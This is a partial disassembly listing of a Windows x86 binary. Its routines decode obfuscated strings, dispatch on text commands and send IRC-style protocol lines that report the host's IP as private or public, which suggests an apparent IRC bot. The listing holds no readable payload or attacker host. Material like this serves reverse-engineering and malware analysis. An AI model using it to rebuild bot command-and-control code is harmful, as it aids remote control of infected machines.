		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
